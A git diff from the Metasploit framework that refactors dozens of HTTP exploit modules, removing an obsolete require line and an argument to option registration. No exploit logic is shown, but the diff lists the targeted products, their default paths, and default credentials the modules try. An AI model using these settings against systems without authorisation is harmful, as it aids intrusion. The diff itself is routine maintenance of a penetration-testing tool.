100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(4679) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb index 442cb13d75..8f869ef02b 100644 --- a/modules/exploits/multi/http/eventlog_file_upload.rb +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8400), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index a9208b1b86..80880c8339 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']), OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb index 47fa520192..b5d3db0c62 100644 --- a/modules/exploits/multi/http/familycms_less_exec.rb +++ b/modules/exploits/multi/http/familycms_less_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index 0911ea8a47..862a7dcbcf 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 3ce66f4b55..ca1142ca9a 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'URI', '/gestioip/']), OptString.new('HttpUsername', [false, 'The username to auth as', 'gipadmin']), OptString.new('HttpPassword', [false, 'The password to auth with', nil]) - ], self.class) + ]) end def user diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb index c0eb31068a..e90340cb71 100644 --- a/modules/exploits/multi/http/git_client_command_exec.rb +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/gitlab_shell_exec.rb b/modules/exploits/multi/http/gitlab_shell_exec.rb index 9f6a88eac5..e6cc73da61 100644 --- a/modules/exploits/multi/http/gitlab_shell_exec.rb +++ b/modules/exploits/multi/http/gitlab_shell_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote @@ -82,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index aa70e5f6ce..4d4bf3876d 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "Path to project and repository", "/project/repo"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index e422ed5d01..40f1dc7d61 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' @@ -57,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]), OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]) - ], self.class) + ]) end # diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index 1894ddd170..1a234f4f3a 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']), OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']), OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index 1703db59af..eb0c56c5a7 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Application database configuration is overwritten @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 49ef2be08b..6ae1d4cada 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, "Path to Horde installation", "/horde"]), OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index bc8becf8b6..320b945037 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -75,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 275271580a..339e769e5f 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) + ]) end def on_new_session(client) diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 89edcfff36..c203f40d17 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote # USERNAME/PASS may not be necessary, because the anonymous access is possible OptString.new("USERNAME", [false, 'The username to authenticate as']), OptString.new("PASSWORD", [false, 'The password to authenticate with']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index bfcb22a5c5..0d3639df57 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, 'The username for the application', 'hqadmin' ]), OptString.new('PASSWORD', [ true, 'The password for the application', 'hqadmin' ]), OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]), - ], self.class) + ]) end # diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index d95978ff4a..6212213d80 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']), OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es']) - ], self.class) + ]) end def lng diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index bfe151d892..ae0a3de41f 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -84,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index e3ddeb488b..489e3e91c5 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index c5380c9318..2cdcb999bb 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c6c0dc668..12d8ed79a5 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -92,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb index 779dd807da..7182bf2d2b 100644 --- a/modules/exploits/multi/http/jboss_seam_upload_exec.rb +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 2bbcb4d335..1f0bb7a061 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/jira_hipchat_template.rb b/modules/exploits/multi/http/jira_hipchat_template.rb index b1a4cc705a..4068efd8df 100644 --- a/modules/exploits/multi/http/jira_hipchat_template.rb +++ b/modules/exploits/multi/http/jira_hipchat_template.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'json' class MetasploitModule < Msf::Exploit::Remote @@ -69,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('JIRAUSER', [false, 'Jira Username', '']), OptString.new('JIRAPASS', [false, 'Jira Password', '']), OptString.new('TARGETURI', [true, 'The base to Jira', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 624e5aa36b..14613383f2 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,12 +50,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index cbbf4c166a..9af3b3e4e9 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index 45aba792cc..877613d384 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, 'URI', '/lcms/']) - ], self.class) + ]) end def target_url diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index dac6cb7080..52e2bc9b07 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/magento_unserialize.rb b/modules/exploits/multi/http/magento_unserialize.rb index 68c0612a93..9398230a7b 100644 --- a/modules/exploits/multi/http/magento_unserialize.rb +++ b/modules/exploits/multi/http/magento_unserialize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) - ], self.class) + ]) end def print_good(msg='') diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb index 930d4b482a..15b067aea8 100644 --- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/file_dropper' class MetasploitModule < Msf::Exploit::Remote @@ -112,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote [true, 'The target port', 8020]), OptString.new('WEB_ROOT', [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)']) - ], self.class) + ]) register_advanced_options( [ @@ -122,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Remote [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), OptBool.new('EXE_SMALL', [true, 'Use exe-small encoding for better reliability', true]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb index 40cf9be0dd..b11c91dfa6 100644 --- a/modules/exploits/multi/http/manageengine_auth_upload.rb +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote [true, 'Password for the specified username', 'guest']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/manageengine_sd_uploader.rb b/modules/exploits/multi/http/manageengine_sd_uploader.rb index f975cd624b..78c5ecfaf0 100644 --- a/modules/exploits/multi/http/manageengine_sd_uploader.rb +++ b/modules/exploits/multi/http/manageengine_sd_uploader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for EAR deployment', 15]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index cfc0508c60..c4c547d4c1 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/file_dropper' class MetasploitModule < Msf::Exploit::Remote @@ -49,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The target port', 6262]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb index 29c7e6c2f5..6abf33fece 100644 --- a/modules/exploits/multi/http/mantisbt_php_exec.rb +++ b/modules/exploits/multi/http/mantisbt_php_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), OptString.new('TARGETURI', [ true, 'Base directory path', '/']) - ], self.class) + ]) end def get_mantis_version diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb index c42d61c2cf..790f24100f 100644 --- a/modules/exploits/multi/http/mediawiki_thumb.rb +++ b/modules/exploits/multi/http/mediawiki_thumb.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -90,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [ false, "Target DjVu/PDF file (e.g target.djvu target.pdf)", nil ]), OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]), OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]) - ], self.class) + ]) end def get_version(body) diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb index 1c8e2479c2..d4dfa0e7d5 100644 --- a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -137,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(3790), OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb index c249ac5a42..867b8cb94a 100644 --- a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb +++ b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) - ], self.class) + ]) end def do_login() diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index e79e6b15eb..4f2de68a09 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' class MetasploitModule < Msf::Exploit::Remote @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]), - ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one + ]) # sometimes it is under host/images/mma.php so you may want to set this one end def has_input_name?(nodes, name) diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index 5b37159161..25f1428ba5 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index f39530eb3a..5e9eb5ffa8 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]), OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index ec129c1f43..379977f4ad 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -3,9 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Exploit::Remote::HttpClient @@ -65,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 8dee91cb69..44e773ffaf 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ]) - ], self.class) + ]) end def lookup_lhost() diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index 95e308519c..24de8316a2 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -3,8 +3,6 @@ # Current source: 